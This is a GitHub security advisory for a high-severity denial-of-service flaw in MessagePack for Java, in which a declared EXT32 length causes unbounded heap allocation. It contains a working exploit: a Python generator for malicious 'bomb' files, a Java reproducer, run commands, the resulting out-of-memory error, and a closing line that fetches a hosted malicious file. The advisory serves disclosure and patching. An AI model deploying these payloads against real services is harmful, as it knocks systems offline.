GitHub Security Advisory: GHSA-cw39-r4h6-8j3x
Package: org.msgpack:msgpack-core (MAVEN)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-789: Memory Allocation with Excessive Size Value
Vulnerable versions: < 0.9.11
Patched in: 0.9.11

Summary: MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation

Details:
### Summary
Affected Components:
```
org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()
```
A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.

### PoC
```
import msgpack
import struct
import os

OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)

# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)

length = 1
step = 10_000_000

while True:
    try:
        # EXT32: 0xC9 | length (4 bytes) | type (1 byte)
        header = b'\xC9' + struct.pack(">I", length) + b'\x01'
        payload = b'A'   # actual data tiny

        data = header + payload

        fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
        with open(fname, "wb") as f:
            f.write(data)

        print(f"[+] Generated EXT bomb with declared length={length}")
        length += step

    except Exception as e:
        print("[!] Stopped:", e)
        break
```
Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer
```
// Main.java
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ExtensionValue;

import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws Exception {

        byte[] data = Files.readAllBytes(
            Paths.get("ext_length_470000001.msgpack")
        );

        MessageUnpacker unpacker =
            MessagePack.newDefaultUnpacker(data);

        ExtensionValue ext =
            unpacker.unpackValue().asExtensionValue();

        // Vulnerability trigger:
        byte[] payload = ext.getData();

        System.out.println(payload.length);
    }
}

```
Compile
```
javac -cp msgpack-core-0.9.8.jar Main.java
```
Run (with limited heap)
```
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
```
Observed Result:
```
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
    at org.msgpack.core.MessageUnpacker.readPayload(...)
    at org.msgpack.core.MessageUnpacker.unpackValue(...)
```
```
var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack")